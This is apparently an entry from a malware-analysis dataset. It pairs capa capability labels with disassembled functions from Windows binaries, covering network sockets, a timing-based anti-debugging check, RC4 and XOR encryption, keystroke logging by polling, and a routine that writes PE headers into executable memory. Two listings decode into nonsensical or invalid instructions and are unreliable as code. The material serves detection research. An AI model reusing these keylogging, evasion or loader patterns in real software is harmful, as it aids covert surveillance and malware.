joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44bf34
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x44bf65
mov ecx, dword [0x45af50]
mov dl, 1
mov eax, dword [0x44adcc]
call fcn.0040c858
call fcn.004047a8
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
mov eax, dword [ebp - 4]
mov dword [eax + 4], ebx
inc ebx
jne 0x44bf92
mov ecx, dword [0x45aee8]
mov dl, 1
mov eax, dword [0x44adcc]
call fcn.0040c858
call fcn.004047a8
xor eax, eax
push ebp
push 0x44c00e
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xffff
call fcn.00404210
cmp byte [ebp + 8], 0
je 0x44bfea
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 1
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0044be9c
mov eax, dword [ebp - 4]
lea esi, [ebp - 0x18]
lea edi, [eax + 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 4]
call fcn.0044bcf8
jmp 0x44c004
mov eax, dword [ebp + 0x10]
push eax
mov ax, word [ebp + 0xc]
push eax
push 0
push 1
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0044b7fc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x44c02b
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x44c20c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffff0
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0044bab8
xor eax, eax
push ebp
push 0x44c37d
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0
je 0x44c367
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0xffffffff
je 0x44c257
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x44c261
call fcn.00404854
jmp 0x44c384
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.00418a28
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x1010]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov ecx, 0x1000
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ebx, eax
test ebx, ebx
jle 0x44c35c
push 0
push ebx
lea eax, [ebp - 0x1010]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov ecx, eax
cmp ecx, 0xffffffff
jne 0x44c30f
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2733
je 0x44c2fc
lea eax, [ebp - 0x10]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00404210
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
push ebp
call fcn.0044c1c4
pop ecx
mov eax, dword [ebp - 4]
mov dl, byte [0x44c390]
cmp dl, byte [eax + 0x28]
je 0x44c363
call fcn.0040c77c
jmp 0x44c363
mov eax, dword [ebp - 0xc]
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.00418a48
jmp 0x44c363
cmp ecx, ebx
jge 0x44c32b
mov eax, dword [ebp - 0xc]
add eax, ecx
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.00418a48
jmp 0x44c261
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.00418a28
cmp edx, dword [esp + 4]
jne 0x44c34b
cmp eax, dword [esp]
pop edx
pop eax
jne 0x44c261
push ebp
call fcn.0044c1c4
pop ecx
jmp 0x44c363
push ebp
call fcn.0044c1c4
pop ecx
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44c384
mov eax, dword [ebp - 4]
call fcn.0044bac4
ret
mov al, byte [ebp - 5]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44c394
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44c4b6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0044bab8
xor eax, eax
push ebp
push 0x44c499
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x44c3e4
call fcn.00404854
jmp 0x44c4a0
push 0
push esi
push ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x44c483
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x44c483
lea eax, [ebp - 0xc]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00404210
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x44c483
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040bf60
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x44c4d0
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x45b02c]
mov dl, 1
mov eax, dword [0x44adcc]
call fcn.0040c894
call fcn.004047a8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44c4a0
mov eax, dword [ebp - 4]
call fcn.0044bac4
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44c4bd
lea eax, [ebp - 0x28]
call fcn.00404dec
ret
Function at 0x44c51c
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44c666
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0044bab8
xor eax, eax
push ebp
push 0x44c649
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
cmp ebx, 0xffffffff
jne 0x44c581
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x44c581
lea eax, [ebp - 8]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
jmp 0x44c633
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x44c594
call fcn.00404854
jmp 0x44c650
push 0
push ebx
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x44c633
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x44c633
lea eax, [ebp - 0xc]
push eax
mov cl, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00404210
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x44c633
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040bf60
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x44c680
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x45b02c]
mov dl, 1
mov eax, dword [0x44adcc]
call fcn.0040c894
call fcn.004047a8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44c650
mov eax, dword [ebp - 4]
call fcn.0044bac4
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44c66d
lea eax, [ebp - 0x28]
call fcn.00404dec
ret
Function at 0x44f4bc
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_GetPriorityClass
mov ebx, eax
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_GetThreadPriority
mov esi, eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_SetPriorityClass
push 0xf
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_SetThreadPriority
push 0xa
call sub.kernel32.dll_Sleep_1
rdtsc
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
push 0x1f4
call sub.kernel32.dll_Sleep_1
rdtsc
sub eax, dword [ebp - 4]
sbb edx, dword [ebp - 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
push esi
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.kernel32.dll_SetThreadPriority
push ebx
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_SetPriorityClass
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x14], eax
fild qword [ebp - 0x18]
fdiv dword [0x44f568]
call fcn.00402ea4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x456cc4
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040529c
xor eax, eax
push ebp
push 0x456de7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x45af34]
mov eax, dword [eax]
call fcn.00409150
test al, al
jne 0x456d05
lea edx, [ebp - 8]
mov eax, dword [0x45af34]
mov eax, dword [eax]
call fcn.00446270
mov eax, dword [0x45afe8]
cmp dword [eax], 1
jne 0x456d3d
mov eax, dword [0x45ad88]
mov eax, dword [eax]
push eax
mov eax, dword [0x45aca8]
mov eax, dword [eax]
push eax
push 0
push 0
mov eax, dword [0x45ad78]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_UnlockFile
mov eax, dword [0x45ad78]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_CloseHandle_1
lea ecx, [ebp - 0xc]
mov eax, dword [0x45af34]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
call fcn.0044489c
push 0x1e
call sub.kernel32.dll_Sleep_1
push 0
push 4
push 3
push 0
push 0
push 0x80000000
mov eax, dword [0x45af34]
mov eax, dword [eax]
call fcn.004052ac
push eax
call sub.kernel32.dll_CreateFileA_1
mov edx, dword [0x45ad78]
mov dword [edx], eax
mov eax, dword [0x45ad78]
cmp dword [eax], 0xffffffff
je 0x456dcc
push 0
mov eax, dword [0x45ad78]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetFileSize_1
mov edx, dword [0x45aca8]
mov dword [edx], eax
mov eax, dword [0x45ad88]
mov eax, dword [eax]
push eax
mov eax, dword [0x45aca8]
mov eax, dword [eax]
push eax
push 0
push 0
mov eax, dword [0x45ad78]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_LockFile
mov eax, dword [0x45afe8]
mov dword [eax], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x456dee
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404e10
ret
Function at 0x456df4
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040529c
mov ebx, dword [0x45ac80]
xor eax, eax
push ebp
push 0x456f49
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
lea eax, [ebp - 8]
call fcn.004050f8
mov eax, dword [ebp - 8]
call fcn.00409150
test al, al
jne 0x456e53
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
lea eax, [ebp - 0x10]
call fcn.004050f8
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
call fcn.00446270
mov eax, dword [0x45afe8]
cmp dword [eax], 1
jne 0x456e8b
mov eax, dword [0x45ad88]
mov eax, dword [eax]
push eax
mov eax, dword [0x45aca8]
mov eax, dword [eax]
push eax
push 0
push 0
mov eax, dword [0x45aea0]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_UnlockFile
mov eax, dword [0x45aea0]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_CloseHandle_1
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
lea eax, [ebp - 0x18]
call fcn.004050f8
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x14]
mov edx, dword [ebp - 4]
call fcn.0044489c
push 0x1e
call sub.kernel32.dll_Sleep_1
push 0
push 4
push 3
push 0
push 0
push 0x80000000
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x14]
lea eax, [ebp - 0x1c]
call fcn.004050f8
mov eax, dword [ebp - 0x1c]
call fcn.004052ac
push eax
call sub.kernel32.dll_CreateFileA_1
mov edx, dword [0x45aea0]
mov dword [edx], eax
mov eax, dword [0x45aea0]
cmp dword [eax], 0xffffffff
je 0x456f2e
push 0
mov eax, dword [0x45aea0]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetFileSize_1
mov edx, dword [0x45aca8]
mov dword [edx], eax
mov eax, dword [0x45ad88]
mov eax, dword [eax]
push eax
mov eax, dword [0x45aca8]
mov eax, dword [eax]
push eax
push 0
push 0
mov eax, dword [0x45aea0]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_LockFile
mov eax, dword [0x45afe8]
mov dword [eax], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x456f50
lea eax, [ebp - 0x1c]
mov edx, 7
call fcn.00404e10
ret
Function at 0x403860
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
movsb byte es:[edi], byte [esi]
rcl dword [ecx], cl
test al, 2
inc ecx
add byte [ebx - 0x5a2f53f3], cl
or byte [ebx + 0x56], dl
cmp eax, ecx
push edi
and al, 0x8d
inc byte [ecx]
add byte [edi], ah
mov ebp, dword [ebp + 8]
fisttp dword gs:[ebx + 0xc5e8906]
cmp eax, ebx
mov dword [esi - 0x49], ebx
mov dword [esi + 0xcb24], ebx
mov dword [esi + 0x710820], ebx
mov dword [edx + 0x28], ebp
rol dword [eax], 1
add byte [ecx + 0x8e5bb89], cl
push eax
test dword [eax], edi
adc al, 0
add byte [eax], ah
invalid

Function at 0x407ef0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov ecx, 0xa
cdq
idiv ecx
fadd st(0)
mov ecx, dword [ebx + 0x7e]
pop ss
mov eax, 0x66665f88
imul edi
sar edx, 2
sbb al, 0x3a
shr eax, 0x1f
add edx, eax
retf 0x30c2
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp - 0x75], 0x4f
in al, dx
adc al, 0x83
jge 0x407e84
dec edi
jl 0x407f18
sbb byte [ebp + 0x10], al
dec esi
add byte [eax], al
add byte [esi + 0x72dc0845], bh
xor dl, al
push eax
movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp + 0x18]
push ebx
mov ebx, dword [ebp + 0x20]
sbb dh, byte [ebx]
mov dh, 0x57
pop esi
pop esi
mov dword [ebp - 4], esi
in al, 0x31
test ah, 0x9f
mov ebp, dword [esi]
jp 0x407f76
fld qword [ebp - 0x1b]
fldenv [esi - 0x38f7a223]
add dword [ecx], eax
add byte [eax], al
add byte [ebp + 0x88b0c4d], dh
or byte [ebp + 0x5150ec45], cl
push edx
call dword [sym.imp.MSVCRT.dll_modf]
fstp qword [ebp + 8]
fld qword [ebp - 0x14]
fdiv qword [esi + 0x304064e0]
add esp, 0xc
fistp word [esi + esi*8 - 0x3c]
xchg esp, eax
jnp 0x407efa
lea esp, [ecx + 0x50]
cmp esi, ebx
jbe 0x407ef4
fld qword [ebp - 0x14]
fcomp qword [0xa240c230]
fnstsw ax
test ah, 0x44
dec eax
fld qword [ebp - 0x14]
fmul qword [0x627fc317]
or eax, 0x627fc317
lea eax, [ebp - 0x14]
push eax
sub esp, 0x51
frstor dword [eax]
and al, 0xff
adc eax, sym.imp.MSVCRT.dll_modf
fstp qword [ebp - 0xc]
push edx
pushfd
hlt
Function at 0x10001b43
Capabilities:
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x80
xor eax, eax
lea ecx, [esp + 0x6c]
lea edx, [esp + 0x78]
mov dword [esp + 0x68], ecx
mov dword [esp + 0x64], edx
mov dword [esp + 0x60], eax
jmp 0x10001c0d
mov eax, esp
mov dword [eax], 0x39956d
mov eax, dword [sym.imp.GDI32.dll_GetTextColor]
call eax
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x2fb925
mov ecx, dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [esp + 0x5c], eax
call ecx
sub esp, 4
mov dword [esp + 0x58], eax
jmp 0x10001d24
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret
xor eax, eax
xor ecx, ecx
mov edx, dword [esp + 0x54]
sub edx, 0x11
mov dword [esp + 0x50], eax
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x48], edx
je 0x10001b6c
jmp 0x10001bc0
mov eax, dword [esp + 0x54]
sub eax, 0x33
mov ecx, dword [esp + 0x4c]
mov dword [esp + 0x44], eax
mov dword [esp + 0x40], ecx
je 0x10001c82
jmp 0x10001caa
mov eax, dword [esp + 0x3c]
add eax, 1
cmp eax, 0x201
mov dword [esp + 0x38], eax
je 0x10001ba5
mov eax, dword [esp + 0x38]
mov ecx, 0xf
mov dword [esp + 0x3c], eax
xor edx, edx
div ecx
cmp edx, 1
je 0x10001c43
jmp 0x10001bde
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x64]
mov edx, dword [ecx]
mov esi, dword [ecx + 4]
mov edi, esp
mov dword [edi + 8], esi
mov dword [edi + 4], edx
mov dword [edi], 0xb8e4bd
mov edx, dword [sym.imp.USER32.dll_ChildWindowFromPoint]
mov dword [esp + 0x54], eax
call edx
sub esp, 0xc
xor ecx, ecx
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], ecx
jmp 0x10001bf2
mov dword [esp + 0x74], 0x2e6
mov dword [esp + 0x70], 0x30a
mov eax, esp
lea ecx, [esp + 0x70]
mov dword [eax + 0x10], ecx
lea ecx, [esp + 0x74]
mov dword [eax + 0xc], ecx
mov dword [eax + 8], ecx
mov dword [eax + 4], ecx
mov dword [eax], 0x9b9415
mov eax, dword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
call eax
sub esp, 0x14
mov dword [esp + 0x30], eax
jmp 0x10001bde
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov ecx, esp
mov dword [ecx], 0x21
mov ecx, dword [sym.imp.USER32.dll_GetKeyState]
mov dword [esp + 0x2c], eax
call ecx
sub esp, 4
mov word [esp + 0x2a], ax
jmp 0x10001b6c
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x68]
mov edx, dword [ecx]
mov esi, esp
mov dword [esi + 4], edx
mov dword [esi], 0xfe4f24
mov edx, dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
mov dword [esp + 0x24], eax
call edx
sub esp, 8
mov ecx, esp
mov dword [ecx], 0x58
mov ecx, dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
mov dword [esp + 0x20], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 8], 0x511
mov dword [ecx + 4], 0xbf6cc8
mov dword [ecx], 0xa9c017
mov ecx, dword [sym.imp.USER32.dll_GetUpdateRgn]
mov dword [esp + 0x1c], eax
call ecx
sub esp, 0xc
mov ecx, dword [esp + 0x24]
add ecx, 1
cmp ecx, 0xa
mov dword [esp + 0x18], eax
mov dword [esp + 0x40], ecx
jne 0x10001caa
mov eax, dword [esp + 0x54]
add eax, 1
cmp eax, 0x93
mov dword [esp + 0x60], eax
je 0x10001b9e
jmp 0x10001c0d
Function at 0x10009eee
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x100476a0], 0
mov dword [0x10047698], 0x2a0
mov dword [0x1004769c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x10009fc0
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov edx, dword [0x100476a0]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov eax, edi
cdq
idiv ecx
mov dword [0x100476a0], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov dword [0x10047698], 0x1058
mov esi, dword [ebp - 0x18]
mov ch, byte [esi + edx]
mov byte [esi + edi], ch
mov edx, dword [0x100476a0]
mov byte [esi + edx], cl
mov edx, dword [0x10047694]
add edx, 0x1601
mov dword [0x10047698], edx
mov edx, dword [0x1004769c]
add edx, 1
mov dword [0x1004769c], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x10009f31
jmp 0x1000a004
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1004769c]
add eax, 1
mov dword [0x1004769c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10009fc0
xor eax, eax
mov dword [0x10047694], 0xefd
mov dword [0x1004769c], 0
mov dword [ebp - 0x20], eax
jmp 0x10009f31
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000a2cb
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov esi, dword [0x10047694]
add esi, 0xffffdea2
mov dword [0x10047694], esi
mov esi, dword [0x10047698]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov cl, byte [eax + 0x1000c67e]
mov dl, byte [eax + 0x1000c64f]
sub dl, cl
mov byte [ebp + eax - 0x24], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x34], eax
jne 0x1000a2fe
lea eax, [ebp - 0x24]
mov ecx, dword [ebp - 0x30]
add ecx, 0xfffff77a
mov dword [0x10047694], ecx
mov dword [ebp - 0x38], eax
call fcn.1000b1e3
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
call fcn.1000a6b6
xor ecx, ecx
mov dword [0x10047698], 0xddf
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
je 0x1000a41e
mov eax, dword [ebp - 0x3c]
mov dword [0x10047694], 0x1204
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x10047698]
add ecx, 0xfffff547
mov dword [0x10047698], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.1000b0c7
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], pe_nt_image_headers32
mov dword [0x10047698], 0x4ee
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov dword [0x10047694], 0x8dc
mov edx, dword [ebp - 0x2c]
mov dword [edx + 8], ecx
mov ecx, dword [ebp - 0x44]
mov dword [edx + 0x18], ecx
cmp ecx, 0
mov dword [ebp - 0x40], eax
je 0x1000a41e
mov eax, dword [ebp - 0x44]
add eax, 0x13dc
mov dword [0x10047698], 0x2003
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x1000a427
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x10047694], 0x68f
mov dword [0x1004769c], 0
mov dword [0x100476a0], 0
mov dword [0x100476a4], 0
mov dword [0x10047698], 0x20da
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x1000a56a
jmp 0x1000a4ad
mov eax, dword [0x1004769c]
mov ecx, dword [0x100476a0]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add ecx, 1
mov dword [ebp - 0x30], eax
mov eax, ecx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x1004769c], edx
mov ecx, dword [ebp - 0x20]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x34]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x38], edx
cdq
idiv esi
mov dword [0x100476a0], edx
mov dword [0x10047694], 0x18f0
mov esi, dword [ebp - 0x38]
mov cl, byte [ecx + esi]
mov dword [0x10047694], 0xb34
mov edi, dword [ebp - 0x20]
mov ch, byte [edi + edx]
mov byte [edi + esi], ch
mov edx, dword [0x100476a0]
mov byte [edi + edx], cl
mov edx, dword [0x1004769c]
movzx edx, byte [edi + edx]
mov ebx, dword [0x100476a0]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x100476a4], ebx
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x30]
mov cl, byte [edx + esi]
xor cl, byte [edi + ebx]
mov ebx, dword [ebp - 0x1c]
mov byte [ebx + esi], cl
mov dword [0x10047694], 0x1ae0
add esi, 1
mov edx, dword [ebp - 0x10]
cmp esi, edx
mov dword [ebp - 0x2c], esi
jne 0x1000a496
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret